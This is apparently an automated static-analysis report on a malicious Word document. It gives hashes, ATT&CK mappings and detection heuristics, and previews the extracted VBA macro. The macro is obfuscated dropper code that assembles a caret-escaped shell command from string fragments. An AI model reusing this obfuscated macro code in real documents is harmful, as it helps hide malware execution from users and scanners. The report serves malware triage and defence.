Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 269960fa180ee5e6…

MALICIOUS

Office (OLE)

126.0 KB Created: 2017-12-07 10:10:00 Authoring application: Microsoft Office Word First seen: 2018-01-23
MD5: 9d63a54e441a006bd88aaa1ade8f700c SHA-1: d2088db5b818407c984ba34c6cca3ea743a9981e SHA-256: 269960fa180ee5e693725149f945631e1e78472aa6d93561d39e1e95b6032e42
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains legacy WordBasic macros with an AutoOpen function, which is flagged as a high-severity heuristic. This macro is designed to execute a shell command, indicating it's likely a dropper for a second-stage payload. The presence of a password archive lure heuristic suggests the document's purpose is to trick the user into providing a password to decrypt a malicious payload, aligning with phishing or social engineering tactics.

Heuristics 8

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 129,024 bytes but its declared streams total only 69,250 bytes — 59,774 bytes (46%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16171 bytes
SHA-256: 0b69a74518ca5d7d7853ee37b165b04f15ddbd3a49987b3507460af282af2dbf
Detection
ClamAV: No threats found
Obfuscation or payload: likely
662 of 849 identifiers look randomly generated (e.g. 'UkOiR0fPiq1rvC8XrcVSZPakJCqMEmzNGWHi4Uzl') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "iRjIarSuwwZlYb"
Function OSwpCGPVjOPWD()
BSZwR = Array(UCase("PVlnNVFziJpV" + "ApqVrfwPPUJ" + "XGorWLWCOIcz" + "nqZwQWmuf" + "zhNmsGXzBcBpP"))
prMaDRdKwIV = Mid("rmIfcol&&set %1nz3", 7, 8)
jzIAUiX = Array(UCase("QizaVXprVi" + "jzkbaZnaa" + "sbNLzlBdzdPEp" + "FAYwjEAMiwvfcP" + "tpYiiXD"))
wXIMIznTtfo = Array(UCase("IIwSSMrMt" + "EoXQwzX" + "rNoJJYiwrJbUO" + "aHqIYTbTBnoIiD" + "GADFJzCdzzZo"))
KFTck = Array(UCase("kjjaZLZtwFiPl" + "EzsPNZhCMKQSwN" + "nHhTziwdDbhAz" + "ZPTaOjcVtXh" + "iXWKGPMA"))
URiqwaXN = Mid("QTLuFCoPuZ3nowvmV%=iXnfwPJwnnfpPLsJ", 17, 9)
ArBicaDG = Array(UCase("VilYpHNPaq" + "EQYLAUAqbN" + "IXPFzYiqJwfF" + "SCPSapTjKiAsZq" + "iwiMIkaOIkH"))
JcWPvwZqkih = Array(UCase("zAwmLHTo" + "jZjYmuzrhjPSN" + "lrzZHtUR" + "wTbPWoDYIhGrI" + "KkbNPhfksk"))
PlawLjpjazZ = Array(UCase("aiUGOImRKwT" + "GfkPltrjkhSNC" + "QVwRXawtLaE" + "YERGTIKfbzliu" + "VwssLGElrQ"))
GmbRVWEoZDM = Mid("jJ4fi7PUHjFSiMqhScwzd9z", 13, 7)
bidjrhFWomd = Array(UCase("LuLiMvSOlmFLf" + "CdHHkHTdRpo" + "jFjILarZLtr" + "wmocWmEZvmNDX" + "HdWhcWufONi"))
lPnIDDIkU = Array(UCase("tbsrNTKKwU" + "OiOJDWCTjRWB" + "AASOzkn" + "AkahRoOdb" + "zAijNiBDhi"))
NUqRwI = Array(UCase("PaZNjRJdkuN" + "WGlmNdqnhOvT" + "ndDJGvZGjPVbPw" + "cqYbGHCKNIUvQ" + "sBfGQvoF"))
KNDMvaR = Mid("pdAS           EQajvt91XwrjkuVOqidEwzGjA", 5, 11)
ozAQquGZ = Array(UCase("hEWamrMBvM" + "hZNuncli" + "pIzYAWQmnMuCE" + "TjEGfwBcfHlTI" + "TrYRzviYGz"))
uwJprKdh = Array(UCase("dzncpqPKwj" + "LrpTMol" + "qAlzJwnNq" + "wAAWWucSiM" + "zwWOPzBLLt"))
NTaujp = Array(UCase("kjQbvNdqU" + "StPHLOHVsrDi" + "FlKcEEIjlZODO" + "PcvtsubOXFsGXO" + "ZkKFwKp"))
ivGNTJ = Mid("hwR49         AIci2pjsR29tGiBlL9", 6, 9)
kvuDzIqWa = Array(UCase("KVPTrzijCdZ" + "zjApVvruJYwsB" + "ltzmCibWq" + "GCCcnwKqXJX" + "PJjQUzRlWWRc"))
ZoYDRC = Array(UCase("lYlMwjTADwUs" + "wwLkLrOFjwhti" + "oDzSjaqJ" + "GhciDEoJCW" + "cmzVkTaj"))
pEBRQO = Array(UCase("kZwpkdt" + "wTRsihBoXum" + "OKLSWtrIKhGliB" + "dSWdvMCi" + "nMLcuddPclraNi"))
LlTrT = Mid("LCAPT8 MSvFDEU6CCqPF2WvqZofIJKW9Bcro", 7, 1)
AnDLDdWn = Array(UCase("aDTQTiz" + "ikRCmcEC" + "JLAvpiWajBDc" + "QAKIvCOMOYGh" + "SEEqKvSAKPf"))
NRSzEBuBK = Array(UCase("qllUOMjNc" + "XWARrhLbMi" + "hPOjDrIt" + "kPoDnJbi" + "mGwjFWHdzl"))
cEotk = Array(UCase("bwKMfPlbAio" + "ttCzuDi" + "Hphhrdz" + "ZUsZvnNvTaXiW" + "izcQVjdUJuVpT"))
WjPPwkXuUF = Mid("9qKzkfGEkodTjRMDuQR ipo4I2Js", 4, 13)
rIiAh = Array(UCase("jwBzJIW" + "oLUXUSnHiw" + "hGcIZYLwJrY" + "tXpdlOotinD" + "IRiiRSOZjUDzDq"))
XQjLua = Array(UCase("QdUCQrBflPGF" + "GjTfEdRGhFb" + "SPFKwEFT" + "fqGVOipCNMK" + "AWoqOQLCi"))
RakjH = Array(UCase("BfjfADWGVFf" + "AjZwiWsqGP" + "zSrjNhpXhm" + "ZkSOjXfEHsPa" + "UAQsDWpWlKl"))
kJEOzEmZa = Mid("UkOiR0fPiq1rvC8XrcVSZPakJCqMEmzNGWHi4UzlnXF5k", 27, 7)
azUqoF = Array(UCase("YtuzcwVnKAmD" + "pMKqzbETsQs" + "sQUknuQzw" + "MaQCthaCK" + "zuwdEaMbaPf"))
zOiSQqAjEG = Array(UCase("JXJYjhwl" + "JodTpVKCI" + "irOLMQwUKwN" + "ZhBXAWfbKQpNK" + "mZNAfUci"))
PvIiFGC = Array(UCase("lSuKwiLGd" + "JKXRmpfPzq" + "oCqMDnQLia" + "PbsNiictfqAcBi" + "YUFAawFuzQ"))
cDYpHjW = Mid("dRv91rsi6%HqkfdGrTaQA94wFwiJk0lWr6jnlZ9", 10, 12)
jAPkKsOw = Array(UCase("VvLzIjN" + "pCVPwSSUoWhSR" + "BAAiXGK" + "tLrijcoYX" + "zdzKowqGvfqzv"))
QOoQiwvQo = Array(UCase("wsqvuzw" + "uvZYHBnGK" + "oaoiiOwGizz" + "jvwifjCk" + "AfnjdzvwwnruQJ"))
pHIWa = Array(UCase("NRNMwhpkKTzsWM" + "idoaHMdz" + "thlEcSviPKCzH" + "maqzNfOdz" + "UBKfGOjk"))
UfSBl = Mid("RJhILOYP!!%wcMcBwhCfA2CM6sZiuS39iushNp3JqlnNQC0", 9, 8)
loYksrOO = Array(UCase("OQObzoVwPjPdc" + "WDDainuBwBO" + "HjMFQQl" + "QOUalHf" + "XzNVTWbjnUhW"))
WikzwaWBPO = Array(UCase("aTRvkIrXR" + "LJKbPCAROPT" + "PjbkbIQbAb" + "ihtUiFpWH" + "AlAJZudGzUVwBE"))
qdmkGiPpa = Array(UCase("LGRGMTrwRzUoqk" + "LVsFADQib" + "imwXOdSsC" + "idUaHwmccL" + "fkHRZHIjqvbp"))
YOtiQrmR = Mid("StiAnijRi0XRC20fTwpInUZfTrHC&&setwukL", 26, 8)
Tozvum = Array(UCase("UAhjHpckrjtV" + "VLZtLbPwaaBN" + "UDGzffpnKEHm" + "HYBIdjYwklvbma" + "jtajWVUZduANj"))
IXQAYnp = Array(UCase("hjsZDUCwoLmhA" + "wCQoBQizB" + "FpVJMLdDnisaF" + "YIIkqZVjY" + "KdaGZZIiiBTNw"))
dztjkFzEDul = Array(UCase("kkfNOLAOfwwLku" + "vNqVwWhfKB" + "MqNmzZN" + "RvSjEiBdiJi" + "ijRNqsWwXCEVM"))
OSUvZWfh = Mid("pquwNDp9iQuPnJBDaO%=cctXCqbVcPTFwwaQj1Iqr7Z8Lk2", 15, 13)
VhVpMNiw = Array(UCase("kchjuWZXwDPtH" + "IcVVQfzilXdOVK" + "EtLKPAOslpCQnh" + "rjRKaCfwzT" + "BrKGfAObrJEjsw"))
kzXcvoMwd = Array(UCase("zKBtwXzE" + "idilnztDVbM" + "fYzvFCPIPq" + "XsirblLLsaEnkM" + "jAizjuzo"))
GidCTUAQ = Array(UCase("ifrtBnOvBS" + "wffjopBri" + "ZJSikLdkoVRji" + "rMVEmYWorN" + "UYWZpsUBfFWYLQ"))
ScXjvbOBmzt = Mid("PiErhsGphAqTjRMD%zXcnSnGIRpMM2pndv4Ii6", 12, 6)
ZJMRa = Array(UCase("lBztUhvMnj" + "sEGRSKPU" + "akOiwTPiQHBXEO" + "ZnRqKir" + "DFOiuMj"))
SVzMSkMCsZp = Array(UCase("lKNzzMwIrcU" + "FGWkRFnQmGLzcz" + "DRVoJnKnLbuN" + "XQfzUvPvJUES" + "ApfzNVCftq"))
LFamlWq = Array(UCase("ESYVZKzvwhBPw" + "EUuMIvlju" + "jCEZikqJd" + "FqlQvSzQisSq" + "mhOuHlEIUX"))
mjVKTIwkUku = Mid("pnnjkoquO1rEdjmuLaXHjUjboa&&ST90dGZc5", 16, 13)
JAZnpHsXB = Array(UCase("nKJuSKIXsE" + "WbNijhltzQVln" + "ILNYKDdaJJ" + "mUdwLhaT" + "SDmjoUtz"))
GYpQUk = Array(UCase("oWGZQOrr" + "PMNjdRqwUACz" + "fRrPpiYYYkTib" + "MZzUAaEHaU" + "QqvInUVHwqo"))
jOmUANFq = Array(UCase("FLviZKGjVlJRuH" + "zKKtLfRcipPPZ" + "hwZQtLmirpnK" + "zCJQTKE" + "GoXiRniRs"))
oROzfhYsw = Mid("pUp1juwT%=GuriNNi6draO4", 7, 11)
zCuVn = Array(UCase("BYJTNqbtFCsd" + "UjBZlYrXkZ" + "dQlQwXciXrwvr" + "qQwaZOzR" + "TnTiNSzKQzRq"))
qPiTjhmq = Array(UCase("ujznpjBA" + "FSSVGAaTaUZwFV" + "bHCmcXDNwf" + "iFJMaPSNzunSR" + "rUIwTNpLfMh"))
zqDhCJuYRru = Array(UCase("uNiCJjC" + "kTMhBOtBOU" + "GdTXnvuGSqzi" + "uEbwLAA" + "uQVFjPEYcEaUnC"))
QzanqFwOK = Mid("jKvaOlij496ViCo%=odwMcGD89uXNt9Cm", 12, 10)
noZkQikZ = Array(UCase("OYZBFUpNWUKN" + "KdrVZnplIlDvQi" + "DTawfsAuo" + "oTcDHWJuCJjzpG" + "swGnVGopXJ"))
aiXlc = Array(UCase("apvGPcjhkp" + "mznwpOU" + "LNwSGjpiqmZJ" + "riAHQukWK" + "kQZcHkfPMzEr"))
YmwCrq = Array(UCase("rqhOVHVrv" + "ZwVbuzPGwwYk" + "roRvWtAVfUuW" + "lJOVzUhj" + "aPKnpijut"))
oYwFdUQvTRi = Mid("Z9SGsrpLOzZBoZ0", 5, 1)
vVkVcRUiYMh = Array(UCase("cXoZZttv" + "fouSnpYT" + "NAiNCjEiwLWM" + "NASXjcUL" + "RnZklhpzpqs"))
VtdGidXf = Array(UCase("GHqaDLwzuMtia" + "kOGsbzE" + "zdNCljD" + "mkaCPDuiK" + "BWmXTwoF"))
jTckO = Array(UCase("KsPQVHEJCzFmfD" + "nuiRlfsXIdlmAZ" + "LGHiwZwPKUll" + "iKZPibUpD" + "YSSUHnjV"))
ulDpKKU = Mid("1hizzdXZKoAAq93Ks82zUJVZGFBmb43Iq21AXwNT", 27, 3)
MQXGpjw = Array(UCase("bbrTunD" + "MMBaPuca" + "DYohTXiR" + "iRcJRNfjcquQfP" + "vhWIjmbK"))
KAPwCntvP = Array(UCase("jUmzfAE" + "pfYwztdpwE" + "IYEsHwiMfE" + "bazhBuwLtOZGi" + "fNZYpfIj"))
pEwvMo = Array(UCase("mUYGiNEs" + "ToAjrQL" + "KPUPafOjidtb" + "TBHinNTFIoSaO" + "HaRzPvzFrMrLp"))
zMWlIXaic = Mid("N9EhPnJq7mp&&set iFWqtCh6fiavbuvUJoqN", 11, 7)
DqfERTJAac = Array(UCase("NfibiCzoZ" + "wDzzRrisn" + "HiSaibjJ" + "qZisMmBXTRIva" + "pjGiPHj"))
XaqrW = Array(UCase("avkKQJAm" + "AECriCbBoLrHG" + "fdjvNJurb" + "JfMEHKFnUh" + "sNESDQKDz"))
olzNv = Array(UCase("SEODuqsXjF" + "wwTNifqQ" + "iKSHXHU" + "OjwiHWwVirWE" + "tkCbjlvHSXjY"))
jZQpS = Mid("J5Qj0wolWHQPqhCT1ioMUUHsVF", 20, 4)
FXiTi = Array(UCase("CUiEjkNndwIddh" + "pWtiGDmZAnQccK" + "knbaHLizbarAr" + "IPjWTOtQZtuQ" + "dRQHkckOVBDaoG"))
kdFEBMGPHzc = Array(UCase("oImHfmW" + "JzJiobU" + "DnULToaPjqWZi" + "IMGFiqjXMjifkk" + "wrJaPOjOMiAhW"))
scHZT = Array(UCase("wiLLWvjDR" + "jhwaLqzDIzQUJ" + "lPNFiQnsoaw" + "wDZLzEMsKOvYjw" + "uDjCdUi"))
AHQilcwK = Mid("BZCNjwUtYoNk7dAUqkurDn    LPFZ9", 23, 4)
GSEQtaIC = Array(UCase("oQwbOrwYjti" + "jbkdoEpW" + "zMwPjYwtXhIN" + "XTlEWtwYIPvGiI" + "juwszrpDzMh"))
udqvzdCBPB = Array(UCase("GhiUBDrtVcR" + "tiwwLHRSXToZjK" + "oEYUZNdSiVjLo" + "VawOFMQHl" + "WDQDmsElrKDoz"))
RiDDzX = Array(UCase("VipjjNdc" + "kVQDnFBYrLSYvh" + "mlVsawtLNf" + "qGYJulw" + "jfcwHArJfJw"))
qSOJj = Mid("UkqbKREVhwjcK2zcfYdiKhYPOj%!kTDcjnbOr", 19, 10)
IqfEqtzEaVs = Array(UCase("rjQLSdbw" + "zCtsKizcjTh" + "WzafmQwTdPjdoW" + "wEpHOZaQAt" + "uGthWVP"))
YDzbaHiQ = Array(UCase("aBQturkCCrJC" + "mPvAiQhcTB" + "JpOsimOCRtappi" + "CAuZpVZYU" + "wIwsPIHAWkFd"))
ajNlzlQJCWa = Array(UCase("GjzLvWkwvr" + "fTKFAVsVpWuYA" + "EAQZEJVpK" + "domFRzpktY" + "QjnkQjmzB"))
rIEAOwnci = Mid("Pji9ZQwvH0izsLSFONMKkzOUwsTiP2TivStB", 11, 12)
vFTwHESQJ = Array(UCase("TPdHliLaFWSOj" + "tLYjQtHmiRJC" + "TpTtKZIbJMNo" + "IKqmiiiaNozAoj" + "jlLwjtslmcIo"))
GJuAzn = Array(UCase("LzvrVUWq" + "RpIpcMjnDqhJ" + "bwoRcpoZiqJ" + "SoqOwiTu" + "HdHtLXhw"))
GjFdlcKQGz = Array(UCase("EhVfZOvi" + "RJcYIBOOZbXR" + "nYNQSSHXkjRZKJ" + "NMXwXoNwidrnI" + "WdPvJuzSJ"))
tWqRz = Mid("jzvTWuwNzqScdkdGQRc%!!%zkfGEkodik", 20, 12)
DnNrCC = Array(UCase("ITCjYzCDrjCI" + "zzhJYsZHMOPT" + "SjYRRHdzhp" + "lPrLsmm" + "CYiILBzoWbwFn"))
lBTJPi = Array(UCase("cXLjaKwzrYBMEb" + "GZainaizKNFCdB" + "svDaUzcjX" + "itwjLKZoBC" + "WnVVzYBSUI"))
PrOEGhniWO = Array(UCase("vhLwbYkSCiwqz" + "ONsCkjUbTBZU" + "HTZzQVRCm" + "IZWwpWwVrNFAu" + "LCNXUNKY"))
ouYfrnJWwvB = Mid("rpAGiIZXHlP7w", 2, 1)
jHjaucDF = Array(UCase("vcjFJdHtdt" + "GIhiPwD" + "NczvVHhEWbbO" + "PJwTCGA" + "hHYbUhNoPICOnu"))
UHhkRjiV = Array(UCase("IdwcfiUi" + "bWkdNjfFXfiG" + "GYPnNHth" + "jjSOTqtRmW" + "ZYYZipisOpi"))
zcAiwrrCQj = Array(UCase("WlzknfSoGsk" + "YijbCkKMSQ" + "iPzPzPPtBIqK" + "TZDuCtTdFtfYD" + "coDbHGCO"))
RAtCIhHGt = Mid("rOiG%SJdC92wUziZY6IhncLLqKI2", 5, 4)
AAiqZs = Array(UCase("zwWaMrVNowCqA" + "zQoLGsLb" + "iApFYdBSjBtS" + "wQjZRJraV" + "ZWpNDDjmiYNo"))
WrwGNvPZOWR = Array(UCase("qPTZrziMiU" + "HdjPJZzFdWRrw" + "mFzjiEl" + "ENijTci" + "hzDLCzInRi"))
ZbZkuwAt = Array(UCase("lSRzaQAVRiQd" + "MGwqVoWAfBL" + "HWWGRpzk" + "bjGnKlzRoS" + "MXfVrjJT"))
vRLXaQnXCDo = Mid("kPntQaiznP8IzEdIDqEqL^TrkRdN", 22, 1)
nDqjpZ = Array(UCase("zlzYYWUE" + "kfAQFCYSlZFUaG" + "TnkBnwKOzuoTH" + "GNwXklBznFAbp" + "rcoWiHE"))
ZQZZzp = Array(UCase("kGRFqTtdPztR" + "JkaqCKCZiqjBu" + "rAOkfjCkVOBw" + "rTCoYtTOuvBdz" + "JBPiDvjCc"))
BFqDXGdGR = Array(UCase("FWnIhVzpJ" + "rEKVOiczAzf" + "WAizKpNrI" + "jukUNRi" + "fzVDVSWkprlYu"))
wrsuUH = Mid("2PFdLfkKwUzi9TJzdwq&&2d3cmqn", 15, 7)
lUIBBUiZ = Array(UCase("PNkqYPM" + "GSKFjBKIaVwFM" + "jPtiFjzB" + "prBZLIdp" + "jMXjFDVOXvU"))
AWzto = Array(UCase("ioAnZhLHcS" + "oYQluQKVNR" + "vSiPdZAWFjH" + "LvTaswbY" + "CjhuGzuabD"))
azOhq = Array(UCase("lpajjvcqCuwrVQ" + "MVAdrPDqEuLf" + "HGjtSHXiJ" + "wBjDzAPwLu" + "zNHdUiiwW"))
UQuiNzFZSV = Mid("qiZihCaGELkGuNKS%iZ3sajD", 17, 2)
ULsUWoS = Array(UCase("FCshJJElHGNo" + "PEpaqSYltIsm" + "VXaFvifZDJDlQi" + "qRRprAiBJUjIi" + "LtzvMnjLBKiIGM"))
vWBRd = Array(UCase("UPMjvKDZOsGDw" + "cIMGpow" + "kAJtcQz" + "pfmjilWTBpM" + "zCItRFALRc"))
zVvmiKfM = Array(UCase("IGORwUKaKX" + "aqDLSMkcAGtCj" + "jJmWpFNmpOwft" + "pjYwBFlI" + "RmUZwYRPEha"))
IpMZs = Mid("n9sqZu9jdi0N20%=o^we^r^s&&seC8", 15, 14)
oNadTOBD = Array(UCase("hqUfMZCi" + "blDaQMXqmtEAb" + "CirPbXPmKMX" + "tKGKtwH" + "vMzhdFhJZY"))
AEwwYrihJ = Array(UCase("LXDUScnA" + "MnTamRiwAbFaf" + "kVfQOYzuwS" + "iLUbidzIoFwBzJ" + "jSDFVmfD"))
NoctUY = Array(UCase("TpnhfGFRn" + "azESKzNs" + "fimrccTKFG" + "jFjirIUTwo" + "GsqNMvDq"))
XiISmJCB = Mid("DiLZXjGMUUH%=TkQ9Li7zdTD4RT5icwHc", 7, 7)
bJWtWa = Array(UCase("znLZcpRpB" + "IFNURzHSqPl" + "jGHpjrswKw" + "AcvRYfwn" + "zVBBVzlI"))
XFLIwdZLJF = Array(UCase("IEPcfjz" + "FLvzLTZU" + "VbBdtwhTc" + "BPQYHOCLiqHCKL" + "NktMuZQs"))
JoImpj = Array(UCase("CWRLZXpJKhKYVG" + "sbGHPjfwDP" + "YqTcVPaO" + "cHDnAHvQDHztmn" + "VzbjKWaNw"))
PBfFrlNRS = Mid("zQFb3ZfLFIuXVwuWAR4set %wcMcBdiQzvvh", 20, 12)
wDNhLbZn = Array(UCase("acoaOIiIDmwvpn" + "lJHudFSQqTfMo" + "hVlWRwfa" + "zWIwzYONYwE" + "lRVOtHLzGiw"))
AWHocWUIVK = Array(UCase("zwphMvzHK" + "lYSGIoOswROmD" + "HVotEZC" + "HWBIFirMAmbwhz" + "UYVIhQiDMvpa"))
iwmzjGfSv = Array(UCase("OndQmUXAf" + "sTzbcDDwwo" + "zOrmYrqwROOXo" + "tGzlSFfAtji" + "vowklYidQYmdN"))
wEYGBjo = Mid("KZ9pKLet v9nYzzwaW2a2hkjrbu6NG", 7, 3)
tTiCz = Array(UCase("HDDkorQwEzjfB" + "QbKHSJoTViRV" + "cSoMPHAFwjq" + "qjkPYmcf" + "ObCoXRCniUT"))
btzNT = Array(UCase("jCNFdwKzjwD" + "ijKwUIDk" + "CAhcqsLLUUVXpY" + "mnFmiwEBjbu" + "TUEiadjiCjdnDz"))
GHPTRAwlv = Array(UCase("brJZDNpMFjsO" + "WdNXbhZcXLom" + "uaSfGAqZ" + "oXdbPCtBPGXAWB" + "jbpLGDf"))
jbjJrA = Mid("Qset %FjjXOTisNhl", 2, 5)
AZDtRb = Array(UCase("PcinoLhJjCRGz" + "wBBvzrrPqvuJta" + "KRiiIoY" + "nFkmKXbIXjjDic" + "GHwzmmtiRGDWl"))
IiRoNa = Array(UCase("ntSOtaasYM" + "oqtASXiVviO" + "XZOwiLiT" + "JCqhwnzbpOznw" + "NqbWoYijm"))
IjIjSHsG = Array(UCase("dYrtCwYFXkT" + "mNwLnHcNca" + "unmEVvzIn" + "TrZCnEvpdDDp" + "RcrSfCjFCCF"))
wHipmLbfNE = Mid("DwIvNw5EZ9TfTTcMQ8MoBvqMEmzNh0EncW25Yz", 21, 8)
tNsWCzHo = Array(UCase("ivpiivhtti" + "nCSVkiuGTOW" + "LBFDoquKZQS" + "BzUzujGuOianIA" + "qodSKMT"))
wFzzlCFD = Array(UCase("GPuCKZcjmTWWIz" + "hXzXPFG" + "bidSFDbRoT" + "hoAnSda" + "tzGUJfwC"))
JzuimvjSqIk = Array(UCase("NTPbRnYao" + "TwUuWlPdbwrN" + "WiusXbRvYjA" + "DoESHzrRbQ" + "ibOQhIuCXz"))
nwEnG = Mid("wXfzdDFt %RRVFvTJptqTfsOX0W4lPGB9Uf3NpP0", 8, 14)
HVUnW = Array(UCase("CfqrzuTYhGWc" + "CiDCSOjj" + "tovMXUJTmHA" + "OJdNhuhPlXDjj" + "YRGMkWwWlBwmWw"))
rwusc = Array(UCase("szWvBwXpvPTVT" + "KLUwAwwGHQQJKk" + "djdZJvHvLwsu" + "VHKFvTWzaFWD" + "mqFfsnmDRiqwJB"))
BjZBnOs = Array(UCase("DtfhakAcZuIlS" + "TiIapLcIjUpQl" + "rZiGqQLIBTQP" + "BWiFcprGMk" + "kQPvJLrK"))
IGafELbMlU = Mid("84WJqaunCP0LpqdYLpakpsnJYdGJrZWN3Ybac2jNz2T", 17, 5)
DhwsP = Array(UCase("QIwHBNl" + "FKNrNpDaGVPJRp" + "GEIiDYUJlRT" + "SHOBhAqAViwY" + "OIjauslab"))
XmLCGH = Array(UCase("SlALBuCjLjoKar" + "lFOMbubioXV" + "AQwqbGQBQV" + "DhmKvjvBK" + "pJEwfiEqGM"))
wduSRlPwR = Array(UCase("TVUqKTvQjw" + "zFJnRDqwIKY" + "RjMcIvdq" + "CqKCsuj" + "uRRCFfoIz"))
QlkuIMVHZih = Mid("ijwwuRSEKsiVadBLj0u0S0QlIiTPDrzPiGmPdDjGI", 9, 6)
BczTGout = Array(UCase("jUBQNpNDJpJPm" + "iokjwsVK" + "LGtuwXL" + "KJdXNkth" + "izAjfuRlAuUJH"))
HwinYGL = Array(UCase("qiKzJuKDJwqn" + "DIbzPwlYJH" + "NsGILBXUKNmM" + "DjPrpkkXHwOti" + "YJMJjWalRnCs"))
BWlBOSUq = Array(UCase("KGTbUGF" + "zMLaGuPniKjj" + "zpDnthzmlio" + "knsaNVU" + "oKnBEOAY"))
oDBUDhvoY = Mid("s4I&&!%iBvoRGmS3TfOkNiqjR0", 3, 8)
idKVRQj = Array(UCase("aWcHQvkt" + "itjZWMGvsOjS" + "KwDFpRSPcozbKB" + "ozwtopbSaHA" + "iVvoLpbMd"))
vuwbKEm = Array(UCase("LRdzbMQPna" + "FzMdXZWHXM" + "pOTnnBBji" + "aOZRLDIabKau" + "HpwJiirsBLvbPi"))
UhNIijWRLji = Array(UCase("ikGUvPjtduDvJc" + "uZIzGdSnFW" + "zXWEaDNihTCkl" + "jwFdnEzajniO" + "pQLwBwFPL"))
qpOFGa = Mid("97ZJBiZz2iqfhMzl w2S9QvoSUnULHKhYPOj%=^he^ljmQu", 31, 13)
LcKvbZoZ = Array(UCase("YPOEvsilmMLVO" + "wCquSLwprWEm" + "ZDipwZTCLwVwD" + "EMzTJdLEIEh" + "SqjXrzIDEhHXPw"))
MvmTYOi = Array(UCase("ZTzibvBspW" + "XhMKRRqYn" + "VLoXRVXBlfRX" + "jJnWYfivss" + "SjwmjhOrXnDILK"))
OSwpCGPVjOPWD = oYwFdUQvTRi + wEYGBjo + RAtCIhHGt + IGafELbMlU + QlkuIMVHZih + URiqwaXN + ulDpKKU + wrsuUH + jbjJrA + WjPPwkXuUF + IpMZs + nwEnG + OSUvZWfh + YOtiQrmR + LlTrT + UQuiNzFZSV + wHipmLbfNE + XiISmJCB + zMWlIXaic + cDYpHjW + QzanqFwOK + mjVKTIwkUku + PBfFrlNRS + qpOFGa + vRLXaQnXCDo + prMaDRdKwIV + ouYfrnJWwvB + rIEAOwnci + oROzfhYsw + GmbRVWEoZDM + oDBUDhvoY + kJEOzEmZa + jZQpS + tWqRz + ScXjvbOBmzt + UfSBl + qSOJj + KNDMvaR + ivGNTJ + AHQilcwK
JadqEqBzI = Array(UCase("AdvStEndSqE" + "WkRERazldBbL" + "EFEoBvTbS" + "FmvzTAapUFbD" + "ZzZazWDzCjEoz"))
joRulGEwL = Array(UCase("VdjlDLGFm" + "LfocVTE" + "mDCrITQlY" + "UVzuNhDzSl" + "ovdRnnDzoZSBoM"))
IPiUNURmj = Array(UCase("RBRRHYXATPzH" + "ZUfNlkABTK" + "FSZdFRhBOsAl" + "msPCRhZOAq" + "zhHfCjj"))
zrjMpzuvC = Array(UCase("wtjZiIatUzkm" + "TEbVdXJCwhIC" + "mZDQHWfrSGJiQY" + "miizLFQHNdQX" + "fzLYWnWAqEqNG"))
uBzSqMwdQ = Array(UCase("wIrpWSpmq" + "mLUvkHcCfvdslE" + "PJvnEYPP" + "NPfwziARzOTi" + "ChijvzUnFXm"))
iHIuzmaXw = Array(UCase("hVciCzuLtXkdi" + "NEUcRutH" + "sUsZGSMowlsVM" + "FsAabLz" + "BYBjuSz"))
FCuacjKKX = Array(UCase("shjorqlBzOjRU" + "vsrTUYZYt" + "rjzujXvidliiQ" + "JhQfwENoi" + "ijsqqwPUosw"))
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.